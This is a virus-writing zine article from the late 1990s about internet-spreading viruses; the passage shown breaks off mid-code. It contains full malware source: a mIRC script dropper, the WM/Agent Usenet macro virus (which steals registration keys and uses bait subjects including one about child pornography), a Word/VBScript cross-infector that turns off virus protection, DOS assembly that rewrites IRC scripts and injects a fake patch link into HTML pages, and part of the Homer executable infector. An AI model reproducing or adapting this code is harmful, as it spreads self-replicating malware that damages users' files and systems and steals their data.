            The internet aware virus, threat of the new millenium!
                      Written by Septic for TI#1                   

[Introduction]

        This article could have been much better then it is ;) but currenlty
there is not very much code to be found concerning the topic of the article,
so there will be a lot of philosophy but also some code. This is one of my
first articles so don't judge me to hard.

[Philosophy 101]

        Most of the vx'ers start to realize that DOS is dead and has been
since some time... This means that we have to start in a new era of virus
writing. We can no longer use the DOS technichs that have been improved
during the 80's and 90's, we have to start from the beginning and write
viruses for the win32 OS. And another thing, most users doesn't use floppies
anymore, our new treat is the internet, everyday thousands of gigabytes of
information is exchanged over the internet, this is what I think is the
viral target of the new millennium, The Net! With internet aware viruses the
spread can get very fast, but what kind of internet aware viruses have we
seen so far?

        Most of them is not asm viruses rather macro and script, but can
there be a internet aware asm virus? Of course! everything that can be done,
can be done in asm. Many of you have probably read something about viruses
like The Read team email virus, Polyposter AKA Agent and the mIRC script
worms, all of these are internet aware. The authors have written the viruses
so they spread over the internet. So what kind of approaches can we make?
        The ultimate internet virus would know the most widely used internet
programs and could use them to spread in the Polyposter way, but it would
also be able to detect file transfers and infect the file that is being
transferred or received. Most of the interneting is done within the win32
environment, so this kind of virus activity would have to be done by
win32 viruses or macro viruses (doubt the last one ;)). But what if
we make a DOS virus internet aware, would it be dead then? If we gave
the DOS virus wings!? would it be able to spread faster then? The answer
is yes, it would spread faster and it could make DOS abit more alive. 
        Also Java could be used to spread viruses, but there is almost
no virus writers that is interested or capable of writing such a virus,
currently there is only one pioneering virus writer in this category
of viruses and his name is Landing Camel. His latest creation is called the
bean hive, it's a very cool Java virus that can't spread without using
internet.


Enough philosophy! I have not written all the code that will be
present in the article, I will write the names of the viruses and
their authors in the end of the article so no misunderstandings are 
made. 


[Macro Viruses & The Net]

        Macro's are not really my areas... I have written one macro virus,
and you know what, it was internet aware ;) As usual will probably VicodinES
be the first one to release a decent internet aware macro virus, Lord Natas
was really close with his polyposter but not good enough. So what can be
done to make a good internet aware macro virus? Polyposter could use other
programs to spread itself this is a really good start, we have also viruses
that contain mIRC script and viruses that both spread to macros and script
files. Not mIRC script files but VBscripts. Most of these viruses is
written by 1nternal and can be found here www.sourceofkaos.com/homes/1ternal

        Lets start with the thingy I have made and probably some others too. 
The mIRC script dropper. Opic of codebreakers have also written some
interesting code that steals your private keyring and upload to the
codebreakers homepage's incoming directory.  The private keyring is important
information used for pgp encryption. This kind of espionage viruses can only
be used with networks or the internet.

[mIRC & Macros]

 Ok lets give you some code!

'MIRC Dropper
Sub MAIN

VF$ = "C:\Program\Mirc32\mirc32.exe"
If Files$(VF$) <> "" Then mircdir = 1 : Goto found

VF$ = "C:\Program\Mirc\mirc32.exe "
If Files$(VF$) <> "" Then mircdir = 2 : Goto found

VF$ = "C:\Program Files\Mirc32\mirc32.exe "
If Files$(VF$) <> "" Then mircdir = 3 : Goto found

VF$ = "C:\Program Files\Mirc\mirc32.exe"
If Files$(VF$) <> "" Then mircdir = 4 : Goto found

VF$ = "C:\Mirc\mirc32.exe"
If Files$(VF$) <> "" Then mircdir = 5 : Goto found

VF$ = "C:\Mirc32\mirc32.exe"
If Files$(VF$) <> "" Then mircdir = 6 : Goto found

Goto not_found

'So what does the above code do!? I hope you grasp the contence
'without having me explaining it for you, The above code 
'searches for the mIRC directory, if the VF is empty then
'no mirc32.exe found and not the mIRC directory eighter.
'It searches for mIRC in 6 different directories, but you
'could add some more if you want. If no mIRC directory is found
'it jumps to not_found, if it was found it jumps to found





found:

If mircdir = 1 Then mirc_dir$ = "C:\Program\Mirc32\"
If mircdir = 2 Then mirc_dir$ = "C:\Program\Mirc\"
If mircdir = 3 Then mirc_dir$ = "C:\Program Files\Mirc32\"
If mircdir = 4 Then mirc_dir$ = "C:\Program Files\Mirc\"
If mircdir = 5 Then mirc_dir$ = "C:\Mirc\"
If mircdir = 6 Then mirc_dir$ = "C:\Mirc32\"

'In the first part when you searched for the mIRC directory
'the mircdir variable was set, so for example if the
'mirc32.exe was located in c:\mirc the mircdir was set 5
'the mircdir and mirc_dir$ is different in that way
'that mircdir is a numeric variable that is used for
'counting and such things the mirc_dir$ is used for
'storing data in form of text.

ChDir mirc_dir$

'Change to the mirc directory 


scripta$ = "script.ini"
'Yupp it's script.ini we want

SetAttr scripta$, 0

'Remove read only there is one.

Kill scripta$

'Delete current script.ini

Open scripta$ For Append As #1
' open for append

Print #1, "[script]"
Print #1, "n0=on 1:JOIN:#: if ( $me != $nick ) { /dcc send $nick c:\warez.doc }"
Print #1, "n1=on 1:TEXT:*sup*:#:/topic # ^~[[DragonFly]]~^ Written Septic [TI]"
print #1, "n2=on 1:FILESENT:*.*:if ( $me != $nick ) { /dcc send $nick c:\warez.doc }"
print #1, "n3=on 1:FILERCVD:*.*:if ( $me != $nick ) { /dcc send $nick c:\warez.doc }"
Print #1, "n4=on 1:CONNECT: {"
Print #1, "n5 =  / msg Septic ^  ~ [ [ DragonFly ] ] ~  ^"
Print #1, "n6 =  / join #warez"
Print #1, "n7 = }"
Close #1

' You will have to write your own script file, this one is used 
' Dragonfly which is my only macro virus right now ;)
' It's not stealth at all because it switch channels and 
' give it self away.... Might change that...

Goto the_end

not_found:

Goto the_end




the_end:


End Sub


' The macro ends here.... You will have to save a document in
' the c:\ in order to use the above code.

' Here comes some source from the great agent virus that sends
' it self over USENET! written by Lord Natas


[ Agent * USENET * ]

'WM/Agent
'By Lord Natas

'WM/Agent is probably the first "USENET virus". There have been viruses
'that use e-mail programs, but never newsgroups. The virus uses Forte Agent
'to spread itself.
'
'* Uses Forte Agent
'* Slightly polymorphic - slow poly
'* Minor stealth
'* Should work under all languages (the basic replication functions)
'* Internal generation counter (CAP-style)
'* Slightly anti-heuristic
'* Also steals user's Agent registration key, if possible

'Lord Natas

'lordnatas@redneck.efga.org

==============================================================================
Listing created by HMVS 2.60 - a great tool for everyone !
(c) 1996-1998, J. Valky & L. Vrtik

ftp://ftp.elf.stuba.sk/pub/pc/avir/hmvs???e.zip
http://ftp.elf.stuba.sk/packages/pub/pc/avir/hmvs???e.zip
==============================================================================
Macro: AutoOpen
Description: antiVirus 8
Size of the macro: 5239 (dec) bytes
Byte order: PC
Encryption key:  0 (hex)
------------------------------------------------------------------------------
Dim Shared a$
Sub MAIN
On Error Resume Next
a$ = Chr$(60 + 8 - 3) + "utoOpen"
'So heuristics don't catch it
DisableInput
If Not IsInstalledInGlobal Then
	If Second(Now()) = 45 Then Mutate(3)
	MacroCopy FileName$() + ":" + a$, a$
	SetProfileString "Compatibility", "ANTIVIRUS", "0xDC9949BB"
	'stupid "stealth"
	'============
	If MenuItemText$("&Tools", 0, 13, 0) = "&Macro..." Then
		ToolsCustomizeMenus .Name = "ToolsMacro", .Menu = "Tools", \
			.Remove, .Context = 0
	EndIf
	If MenuItemText$("&Tools", 0, 13, 0) = "&Customize..." Then
		ToolsCustomizeMenus .Name = "ToolsCustomize", .Menu = "Tools", \
			.Remove, .Context = 0
	EndIf
	If MenuItemText$("&File", 0, 10, 0) = "&Templates..." Then
		ToolsCustomizeMenus .Name = "FileTemplates", .Menu = "File", \
			.Remove, .Context = 0
	EndIf
	If MenuItemText$("F&ormat", 0, 14, 0) = "&Style..." Then
		ToolsCustomizeMenus .Name = "FormatStyle", .Menu = "Format", \
			.Remove, .Context = 0
	EndIf
	' The code above is a fake ToolsMacro menu, minor stealth!

	'============
	z = 16 / 8 - 1 - 1
	ToolsOptionsSave .GlobalDotPrompt = z
	'Stealth the modification of the Global template 
        '(dissable promt for save)

	Counter(1)
EndIf
If Not IsInstalledInFile Then
	If Second(Now()) = 23 Then Mutate(1)
	MacroCopy a$, FileName$() + ":" + a$
	SetDocumentVar "ANTIVIRUS", "0xDC9949BB"
	o = 4 / 2 - 1
	FileSaveAs .Format = o
	Counter(3)
	' Infection procedure
EndIf
Rnd1 = Int(Rnd() * 31) + 1
Rnd2 = Int(Rnd() * 60)
'heh
If Day(Now()) = Rnd1 And Second(Now()) = Rnd2 Then Call SendVirus
' Only send virus in some cases (randomized timer)
End Sub

Sub Counter(c)
'increment the generation counter
On Error Resume Next
d$ = LTrim$(Str$(Val(Mid$(MacroDesc$(a$), 10)) + 1))
desc$ = "antiVirus " + d$
ToolsMacro .Name = a$, .Show = c, .Description = desc$, \
	.SetDesc
End Sub

Function IsInstalledInGlobal
'check for the infection mark in win.ini
c$ = GetProfileString$("Compatibility", "ANTIVIRUS")
If c$ = "0xDC9949BB" Then IsInstalledInGlobal = - 1
End Function

Function IsInstalledInFile
'check for the infection mark in the current doc
c$ = GetDocumentVar$("ANTIVIRUS")
If c$ = "0xDC9949BB" Then IsInstalledInFile = - 1
End Function

Sub Mutate(w)
'This is the "poly engine"
On Error Resume Next
	'minor polymorphism
	ScreenUpdating 0
	ToolsMacro .Name = a$, .Edit, .Show = w
	Lines = 0
	'get the total number of lines
	While LineDown()
		Lines = Lines + 1
	Wend
	StartOfDocument
	'go down a random amount
	ParaDown Int(Rnd() * (Lines - 1) + 1)
	LF$ = Chr$(13)
	R = Rnd()
	If R < 0.3 Then
		Insert "'" + RGG$ + LF$
	ElseIf R < 0.6 Then
		Insert "REM " + RGG$ + LF$
	ElseIf R < 0.9 Then
		R$ = RGG$ + "$"
		EditReplace .Find = "RGG$", .Replace = R$, .ReplaceAll, \
			.Wrap = 1
	Else
		R$ = RGG$ + "$"
		EditReplace .Find = "Rand$", .Replace = R$, .ReplaceAll, \
			.Wrap = 1
	EndIf
	StartOfDocument
	DocClose 1
End Sub

Function RGG$
'random garbage generator - really lame, but it works
For i = 1 To Int(Rnd() * (30 - 1) + 1)
	If Rnd() > Rnd() Then
		Rand$ = Rand$ + Chr$(Int(Rnd() * (122 - 97) + 97))
	Else
		Rand$ = Rand$ + Chr$(Int(Rnd() * (90 - 65) + 65))
	EndIf
Next
RGG$ = Rand$
End Function

Sub SendVirus
On Error Resume Next
DisableInput
ScreenUpdating 0
'stealth

For i = 1 To 8
Temp$ = Temp$ + Chr$(Int(Rnd() * (90 - 65) + 65))
Next
sName$ = "C:\" + Temp$ + ".DOC"
FileSaveAs .Name = sName$

If AppIsRunning("Agent") Then Goto More
Exe$ = "c:\progra~1\agent\agent.exe"
If Files$(Exe$) <> "" Then
'execute agent, if it exists
	AgentDir$ = "c:\progra~1\agent"
	ChDir AgentDir$
	INI$ = AgentDir$ + "\data\agent.ini"
	sKey$ = GetPrivateProfileString$("Profile", "Key", INI$)
	Shell Exe$, 1
	'just a delay to let Agent open
	For i = 1 To 100
		For j = 1 To 100
		Next j
	Next i
	Goto More
EndIf
Exe$ = "c:\agent\agent.exe"
If Files$(Exe$) <> "" Then
	AgentDir$ = "c:\agent"
	ChDir AgentDir$
	INI$ = AgentDir$ + "\data\agent.ini"
	sKey$ = GetPrivateProfileString$("Profile", "Key", INI$)
	Shell Exe$, 1
	For i = 1 To 100
		For j = 1 To 100
		Next j
	Next i
	Goto More
EndIf
Goto NoAgent

More:
AppActivate "Agent", 1
SendKeys "P", - 1
'post new message

Ng = Int(Rnd() * 23)

Select Case Ng
'some "interesting" newsgroups ;)

	Case 0
		Ng$ = "alt.aol-sucks"
	Case 1
		Ng$ = "alt.binaries.cracks"
	Case 2
		Ng$ = "alt.binaries.pictures.erotica"
	Case 3
		Ng$ = "alt.binaries.warez.ibm-pc"
	Case 4
		Ng$ = "alt.conspiracy"
	Case 5
		Ng$ = "alt.drugs.pot"
	Case 6
		Ng$ = "alt.fan.hanson"
	Case 7
		Ng$ = "alt.flame"
	Case 8
		Ng$ = "alt.hacker"
	Case 9
		Ng$ = "alt.sex"
	Case 10
		Ng$ = "alt.sex.necrophilia"
	Case 11
		Ng$ = "alt.sex.stories"
	Case 12
		Ng$ = "alt.sex.zoophilia"
	Case 13
		Ng$ = "alt.windows95"
	Case 14
		Ng$ = "alt.sex.passwords"
	Case 15
		Ng$ = "alt.binaries.warez"
	Case 16
		Ng$ = "alt.binaries.sounds.mp3"
	Case 17
		Ng$ = "alt.comp.virus"	'<GRIN>
	Case 18
		Ng$ = "alt.2600"
	Case 19
		Ng$ = "alt.2600.hackerz"
	Case 20
		Ng$ = "alt.skinheads"
	Case 21
		Ng$ = "alt.sex.babies"
	Case 22
		Ng$ = "alt.sex.bondage"

End Select

SendKeys "%r", - 1	'alt-r==newsgroup
SendKeys Ng$, - 1	'newsgroup name

Subject = Int(Rnd() * 21)

Select Case Subject
'...and here are some interesting subjects ;)

	Case 0
		Subject$ = "Free XXX Passwords"
	Case 1
		Subject$ = "Check this out!"
	Case 2
		Subject$ = "Official WaReZ site list"
	Case 3
		Subject$ = "Easy Money!"
	Case 4
		Subject$ = "My first fuck by Todd"
	Case 5
		Subject$ = "Hanson rulez!"
	Case 6
		Subject$ = "Warez mailing list details"
	Case 7
		Subject$ = "Crackz mailing list details"
	Case 8
		Subject$ = "Learn to hack!"
	Case 9
		Subject$ = "Attn: All k3wl h4ck3rz"
	Case 10
		Subject$ = "Important Info"
	Case 11
		Subject$ = "New Virus Alert!"
	Case 12
		Subject$ = "Serial Number List!"
	Case 13
		Subject$ = "Official mp3 site list"
	Case 14
		Subject$ = "Elite XXX site list"
	Case 15
		Subject$ = "New erotic story"
	Case 16
		Subject$ = "Important Princess Diana Info"
	Case 17
		Subject$ = "Important Monica Lewinsky Info"
	Case 18
		Subject$ = "How to find child pornography"
	Case 19
		Subject$ = "Cable TV descrambler instructions!"
	Case 20
		Subject$ = "Kewl N64 Emulator & MP3 sites"

End Select

SendKeys "%b", - 1
SendKeys Subject$, - 1

'message body
SendKeys "%x", - 1
SendKeys "WM/Agent by Lord Natas", - 1
'garbage bytes for confusion
SendKeys RGG$, - 1
If sKey$ <> "" Then
	SendKeys "{enter}", - 1
	SendKeys sKey$, - 1
EndIf

'encode above message with ROT13
SendKeys "^A", - 1
SendKeys "^3", - 1

'go to the attachments dialog
SendKeys "%A", - 1
SendKeys "%A", - 1

'add our attchment
SendKeys sName$, - 1
SendKeys "{enter}", - 1
SendKeys "{enter}", - 1

'post the message - hopfully the user is connected
SendKeys "^n", - 1

NoAgent:
End Sub
------------------------------------------------------------------------------

As you noticed the source isn't very well commented, but hopefully
you'll get the idea.

The next code is not commented either, just look at it and
hopefully learn something. ;)


[VBscript infection & Documents]

Private Sub Document_Close()
'1nternal
'ReplaceIt
        Set A = ActiveDocument.VBProject.VBComponents(1).CodeModule
        Set N = NormalTemplate.VBProject.VBComponents(1).CodeModule
        Options.VirusProtection = False
        Options.ConfirmConversions = False
        Options.SaveNormalPrompt = False
        If N.Lines(2, 1) <> "'1nternal" Then
                For i = 1 To 58
                        N.InsertLines i, A.Lines(i, 1)
                Next
        End If
        If A.Lines(2, 1) <> "'1nternal" Then
                For i = 1 To 58
                        A.InsertLines i, N.Lines(i, 1)
                Next
        End If
        Set FSO = CreateObject("Scripting.FileSystemObject")
        N.InsertLines 59, ""
        N.InsertLines 60, "On Error Resume Next"
        N.InsertLines 61, "Dim WordObj, FSO, WshShell"
        N.InsertLines 62, "Set FSO = CreateObject(" + Chr(34) + "Scripting.FileSystemObject" + Chr(34) + ")"
        N.InsertLines 63, "Set WshShell = Wscript.CreateObject(" + Chr(34) + "Wscript.Shell" + Chr(34) + ")"
        N.InsertLines 64, "parent = Wscript.ScriptFullName"
        N.InsertLines 65, "vPath = Left(parent, InStrRev(parent, " + Chr(34) + "\" + Chr(34) + "))"
        N.InsertLines 66, "For Each target in FSO.GetFolder(vPath).Files"
        N.InsertLines 67, "    FSO.CopyFile parent, target.Name, 1"
        N.InsertLines 68, "Next"
        N.InsertLines 69, "Set WordObj = CreateObject(" + Chr(34) + "Word.Application" + Chr(34) + ")"
        N.InsertLines 70, "WordObj.Options.SaveNormalPrompt = False"
        N.InsertLines 71, "Set NT = WordObj.Templates(1).VBProject.VBComponents(1).CodeModule"
        N.InsertLines 72, "If NT.Lines(2,1) <> " + Chr(34) + "'1nternal" + Chr(34) + " Then"
        N.InsertLines 73, "     NT.AddfromFile Wscript.ScriptFullName"
        N.InsertLines 74, "     NT.ReplaceLine 3, " + Chr(34) + "On Error Goto Break" + Chr(34)
        N.InsertLines 75, "     NT.DeleteLines 58, 19"
        N.InsertLines 76, "End If"
        N.InsertLines 77, "Set NT = Nothing"
        N.InsertLines 78, "WordObj.Quit"

        Set fs = Application.FileSearch
                fs.NewSearch
                fs.LookIn = "C:\"
                fs.SearchSubFolders = True
                fs.FileName = "*.vbs"
                fs.Execute
                For i = 1 To fs.FoundFiles.Count
                        Set f = FSO.OpenTextFile(fs.FoundFiles(i), 2, True)
                        N.ReplaceLine 3, "'ReplaceIt"
                        For k = 1 To 78
                                f.Write N.Lines(k, 1) + Chr(13) + Chr(10)
                        Next
                    f.Close
                Next
        N.DeleteLines 59, 20
N.ReplaceLine 3, "On Error Goto Break"
Break:
End Sub

On Error Resume Next
Dim WordObj, FSO, WshShell
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WshShell = Wscript.CreateObject("Wscript.Shell")
Parent = Wscript.ScriptFullName
vPath = Left(Parent, InStrRev(Parent, "\"))
For Each Target In FSO.GetFolder(vPath).Files
    FSO.CopyFile Parent, Target.Name, 1
Next
Set WordObj = CreateObject("Word.Application")
WordObj.Options.SaveNormalPrompt = False
Set NT = WordObj.Templates(1).VBProject.VBComponents(1).CodeModule
If NT.Lines(2, 1) <> "'1nternal" Then
     NT.AddFromFile Wscript.ScriptFullName
     NT.ReplaceLine 3, "On Error Goto Break"
     NT.DeleteLines 58, 19
End If
Set NT = Nothing
WordObj.Quit

[Afterword on This]

The above code was written by '1nternal and you can find more
of his work at www.baahahah.com

Now you have to write code by yourself and come up with new ideas

[Internet Aware ASM viruses]

        OK what can be done to make a DOS virus internet aware? The easiest
and maybe the only way is to manipulate script files that the windows internet
programs use, you can also change the html code. I have seen email programs
like the Pegasus mail that use unencrypted files for the messages and it's
very easy to manipulate the messages so they contain an attached copy of
your virus (Thanks Techno). When a said script, we could take the mIRC chat
program as an excelent example. When you have found the mIRC directory you
have to delete the current script.ini or atleast overwrite it you could maybe
append the code also but that would take  more code, OK here comes the code
for deleting and dropping the new mIRC script.


        mov ah,41h  
        lea dx,[bp+dmscript] 
        int 21h

;	Delete the current Script file. 


        mov ah,3ch   
        lea dx,[bp+dmscript]
        xor cx,cx    
        int 21h   

; Overwrite script.ini (not append)

        xchg    bx,ax
; Get file handler into bx

        mov ah,40h                             
        mov     cx,EO_script
        lea     dx,[BO_script+bp]
        int 21h
; Write to the file! start from BO_script stop at EO_script

        mov ah,3eh
        int 21h     

; Close it!

BO_script db '[script]',0      
          db      ' ',0dh,0ah
          db 'n0=on 1:FILESENT:*.*:if ( $me != $nick ) { /dcc send $nick c:\porno.com }',0
          db      ' ',0dh,0ah
          db 'n1=on 1:FILERCVD:*.*:if ( $me != $nick ) { /dcc send $nick c:\porno.com }',0
          db      ' ',0dh,0ah
          db 'n2=on 1:CONNECT: {',0
          db      ' ',0dh,0ah
          db 'n3=  /msg SeptiC_dm I am your servant! I have been turned into a zealot of darkness',0
          db      ' ',0dh,0ah
          db 'n4=}',0
Last_line db      ' ',0dh,0ah
 

EO_script equ last_line-BO_script

; dmscript db 'script.ini',0



Hmmz now you have written your own script.ini in the mirc directory
but you have to find the mirc directory, that can be done in a lot
of ways, the easiest is by using 3bh (change directory).

 	first_mirc:
    
        lea dx,[mircdir_1+bp]      
; Bp is used for delta offset
        call change
; Change to the directory in dx!

        jc second_mirc
; if error then directory doesn't exist try next!
        call do_mirc
; Drop the mirc script, also drop a copy of the virus 
; that is optional but if you want the virus to spread through
; mirc it has to be done!

        jmp mirc_last
; Ok we dropped the scipt, continue! don't change directory again

        second_mirc:

        lea dx,[mircdir_2+bp]      

;Same as above but new directory

        call change
        jc mirc_last        
        call do_mirc

	mirc_last:


        change:
        mov ah,3bh                 
        int 21h                    
        ret

; mircdir_1  db 'C:\program\mirc',0  
; mircdir_2  db 'C:\program\mirc32',0  

; You could have added more directories... Dark.Messiah uses
; This method but scans 6 directories... It does also scan
; for the mIRC directory in the directory traversal rutine.

Ok now lets continue... We can also manipulate html files =)

First you must find the html file, this can be done easy with
the mov ah,4eh and mov ah,3fh instructions, I'll give you the code

Find_html:                         

        mov ah, 4eh
; Find first

        xor cx,cx

; 	any attribute

        lea dx, [html+bp]
; Html files

	int 21h
; find one!

        jc no_html
; No html found bail out!

found_html:

        call html_it
;Html it ;) add the html code to the html file 
; (maybe drop the virus aswell)

        mov ah, 4fh
; find next
	int 21h
        jnc found_html
; If found jmp to found_html
no_html:

; html    db '*.html',0


; Ok we found the html file, lets add out html code into it!

html_it:

        mov  ax,3d02h              
; Open for read write
        lea  dx,[dta+1eh+bp]       
; I  hope you saved the dta earlier didn't you? Ok file name in dta
	int 21h
; Open it!

        xchg ax,bx
; File handler into bx!

        mov     ax,4202h           
        mov     dx,-15             
        mov     cx,-1              
        int     21h                
; Go 15 bytes back from end so we overwrite some code 
; that has to be overwritten (</BODY> and </HTML>)

        mov ah,40h                 
; Write to file!
        mov     cx,html_drop
;Html size
        lea     dx,[html_text+bp]
;Where to start
        int 21h
; Write!

        mov ah,3eh
        int 21h     
; Close the html file

        ret

html_text db '<BODY TEXT="#000000" BGCOLOR="#FFFFFF" LINK="#999999" VLINK="#551A8B" ALINK="#999999">',0
          db      ' ',0dh,0ah
          db '</FONT>',0
          db      ' ',0dh,0ah
          db   '<p align="center"><a',0
          db      ' ',0dh,0ah
          db   '<FONT COLOR="#333333"></FONT>Do</FONT><FONT COLOR="#666666">w</FONT><FONT COLOR="#999999">nl</FONT><FONT COLOR="#C0C0C0">oa</FONT><FONT COLOR="#999999">d',0
          db      ' ',0dh,0ah
          db   '</FONT><FONT COLOR="#333333">T</FONT><FONT COLOR="#666666">h</FONT><FONT COLOR="#999999">e',0
          db      ' ',0dh,0ah
          db   '</FONT><FONT COLOR="#333333">L</FONT><FONT COLOR="#666666">a</FONT><FONT COLOR="#999999">t</FONT><FONT COLOR="#C0C0C0">e</FONT><FONT COLOR="#CCCCCC">st',0
          db      ' ',0dh,0ah
          db   '</FONT><FONT COLOR="#333333">P</FONT><FONT COLOR="#666666">a</FONT><FONT COLOR="#999999">tc</FONT><FONT COLOR="#C0C0C0">h!</FONT></FONT>',0
          db      ' ',0dh,0ah
          db   '<p align="center"><a',0
          db      ' ',0dh,0ah
          db   'href="patch.com">Click Here!</a></p>',0
          db      ' ',0dh,0ah
          db   '</BODY>',0
          db      ' ',0dh,0ah
          db   '</HTML>',0
Last_html db      ' ',0dh,0ah

html_drop equ last_html-html_text


You could also mark the directory in some way like creating a file
and checking for it later, so the html file won't get reinfected.

That was all I think ;) 

---------------=The internet aware Win32 (HLL,ASM)!=----------------------

In these areas very very very much can be done! When you have
ring 0 access you could use the win32sock.dll to get access to the
internet. Right now the happy99 internet worm use the win32sock.dll to spread,
it has been reported in the wild and is very common in europe. I don't have 
very much code to give you 'cause I haven't been coding any win32 stuff yet,
but as this is the future it had to be done =)

I think that it is a lot easier to code a virus that uses internet
and ftpz to spread in a language like C or something rather than
asm, but with asm it could be much better.... Hmmz
Homer is a virus written in C that send itself to Ftpz and spread
over win95 networks, The source is poorly commented, but anyway
here it is.
;                              ----->    /-----------------------------\
;           Code taken from    ----->    | Xine - issue #2 - Phile 021 |
;                              ----->    \-----------------------------/


/* HOMER virus by Kernel Panik, Italy, april 1997 */
/* Compile with Borland C++ 4.0 in Large Model and with DS!=SS */
/* please note some parts are very compiler dependent */
/* if you want homer to work correctly it must be shorter than 64KB */
/* so strip debugging information ! */

/* Define if you want a info window */
#define HASWINDOW 1

/* Must be defined for many things to work ... it makes homer to
	register his window class */
#define HASCLASS 1

/* Define to hook int21 in pm via dpmi*/
#define HOOKSDPMIPROTINT 1

/* Define to hook int21 in rm via dpmi*/
#define HOOKSDPMIREALINT 1

/* Define to hook int21 in pm via api call SetKernelDosProc */
#define HOOKSKDP 1

/* Define to enable api hooking */
#define HOOKSWIN16API 1

/* Define to prevent homer to infect anything but path with TESTVIRZ inside*/
#define TESTRUN 1

/* Define to enable Internet Infection. */
#define NETHOOK 1


#define MAX_PATH 256

#include <windows.h>
#include <dos.h>
#include <io.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>

#ifdef NETHOOK
#include <winsock.h>
#endif

#define LOWORD(l)  ((WORD)(l))

#define MAKEWORD(a, b) \
	 ((WORD)(((BYTE)(a)) | ((WORD)((BYTE)(b))) << 8))

#pragma pack(1)

typedef struct {
	 WORD bp,di,si,ds,es,dx,cx,bx,ax;
	 WORD ip,cs,flags;
	 } REG_PARAMS;

typedef struct {
	DWORD	EDI;
	DWORD	ESI;
	DWORD	EBP;
	DWORD	reserved;
	DWORD	EBX;
	DWORD	EDX;
	DWORD	ECX;
	DWORD	EAX;
	WORD	flags;
	WORD	ES;
	WORD	DS;
	WORD	FS;
	WORD	GS;
	WORD	IP;
	WORD	CS;
	WORD	SP;
	WORD	SS; } CB_STR;

typedef void (_interrupt _far *INTRFUNC)();

typedef struct {
	WORD  oldb;
	FARPROC wh;	} WIN16HOOK;


#ifdef HOOKSDPMIPROTINT
/* old int21 vector in pm via dpmi */
static INTRFUNC old = 0;
#endif

#ifdef HOOKSKDP
/* old int21 vector in pm via windows api */
static FARPROC old_dos = (FARPROC) 0;
FARPROC (FAR PASCAL *GetSetKernelDosProc)(FARPROC DosProc) = 0;
#endif

#ifdef HOOKSDPMIREALINT
/* old int21 vector in rm via dpmi */
static FARPROC old_real = (FARPROC) 0;
static CB_STR cb_storage;
static int	rm_sel;
static unsigned char old_stuff [10];
#endif

#ifdef HASWINDOW
/* how many time int21 exec was triggered and last execed file */
static int triggered=0;
char lastrun[MAX_PATH]="\0";
#endif

/* Global Used Data. */

/* sved ds for accessing global vars */
static far save_ds;
/* handle to memory block for homer code, name, ptr to code and size */
HGLOBAL		hmem;
char			myname[MAX_PATH];
char *		mybuffer;
long			mysize;
/* int to hook */
int			intno=0x21;
UINT			th;
/* selector for memory at 60:0 */
WORD			mem_60_sel;
/* residency check */
WORD			rez_check;
char far *	hptr;

/* forward definition of procedure which does clean-up */
void CleanUp(void);

#ifdef HASCLASS
LRESULT FAR PASCAL _export WndProc( HWND, UINT , WPARAM, LPARAM );
#endif

WORD FAR PASCAL _export TimerProc( HWND, WORD, int, DWORD);

/* Infection Routine
	tnx to b0z0 for infomation and code examples
	this is a messy translation in C of an assembler routine, please refer
	to better sources if you want more detailed information about windows NE
	infection. I know this should be done in a better way
*/
struct rblock
	{
		WORD	nrelitems;
		BYTE	prel;
		BYTE	trel;
		WORD	offwinip;
		WORD	oldcs;
		WORD	oldip;
	} infblock={1,3,4,0,0,0};

struct segentry
	{
		WORD	off;
		WORD	len;
		WORD	attr;
		WORD	alloc;
	 } newentry;

unsigned char			readbuff[0x40];
unsigned char			nebuff[512];
int fhandle;
unsigned readb,NEoff,SToff,nesize,align,recsize;
long nelast;
unsigned long segcount, filesize, origsegcount;

extern far void RUNCODE_START();
extern far unsigned RUNCODE_STUB_SIZE;
extern far void RUNCODE_OLDIP();
extern far unsigned RUNCODE_SIZE;

#define READW(x) ( *( (unsigned *) (x) ) )


void infect(char far * fname)
{
	int i;

	_DS=save_ds;
#ifdef TESTRUN
	  if (strstr(fname,"TESTVIRZ"))
#endif
	  {
		if (!_dos_open(fname,O_RDWR,&fhandle))
			{
				filesize=lseek(fhandle,0,SEEK_END);
				lseek(fhandle,0,SEEK_SET);
				_dos_read(fhandle,readbuff,sizeof(readbuff),&readb);
				if (readbuff[0]=='M' && readbuff[1]=='Z' && readbuff[0x18]>40
						&& readbuff[0x12]!='K' && readbuff[0x13] != 'P')
					{
						NEoff= READW(readbuff+0x3c);
						READW(readbuff+0x3c) -=8;
						if (readbuff[0x3e]==0 && readbuff[0x3f]==0)
							{
								readbuff[0x12]='K';
								readbuff[0x13]='P';
								lseek(fhandle,NEoff,SEEK_SET);
								_dos_read(fhandle,nebuff,sizeof(nebuff),&readb);
								if (nebuff[0]=='N' && nebuff[1]=='E' &&
									nebuff[0x36]==2 && nebuff[0x37]==8)
								{
									lseek(fhandle,0,SEEK_SET);
									_dos_write(fhandle,readbuff,sizeof(readbuff),&readb);
									SToff=READW(nebuff+0x22);
									if ( READW(nebuff+4) >= SToff )
										READW(nebuff+4) += 8;
									if ( READW(nebuff+0x24) >= SToff )
										READW(nebuff+0x24) += 8;
									if ( READW(nebuff+0x26) >= SToff )
										READW(nebuff+0x26) += 8;
									if ( READW(nebuff+0x28) >= SToff )
										READW(nebuff+0x28) += 8;
									if ( READW(nebuff+0x2a) >= SToff )
										READW(nebuff+0x2a) += 8;
									segcount=READW(nebuff+0x1c) ++;
									nebuff[0x37] = 0;			/* Kill gangload area */
									READW(nebuff+0x38) = 0;
									READW(nebuff+0x3a) = 0;
									origsegcount=segcount;
									segcount=segcount*8 + SToff;
									nesize=segcount/sizeof(nebuff);
									nelast=segcount%sizeof(nebuff);
									infblock.oldip=READW(nebuff+0x14);
									infblock.oldcs=READW(nebuff+0x16);
									align=READW(nebuff+0x32);
									recsize=1<<align;
									READW(nebuff+0x14)=0;
									READW(nebuff+0x16)=origsegcount+1;
									lseek(fhandle,NEoff,SEEK_SET);
									_dos_write(fhandle,nebuff,sizeof(nebuff),&readb);
									lseek(fhandle,NEoff,SEEK_SET);
									for (i=0;i<nesize;i++)
									{
										_dos_read(fhandle,nebuff,sizeof(nebuff),&readb);
										lseek(fhandle,-((long) sizeof(nebuff))-8,SEEK_CUR);
										_dos_write(fhandle,nebuff,sizeof(nebuff),&readb);
										lseek(fhandle,8,SEEK_CUR);
									}
									if (nelast>0)
									{
										_dos_read(fhandle,nebuff,nelast,&readb);
										lseek(fhandle,-nelast-8,SEEK_CUR);
										_dos_write(fhandle,nebuff,nelast,&readb);
									}
									else
										lseek(fhandle,-8,SEEK_CUR);
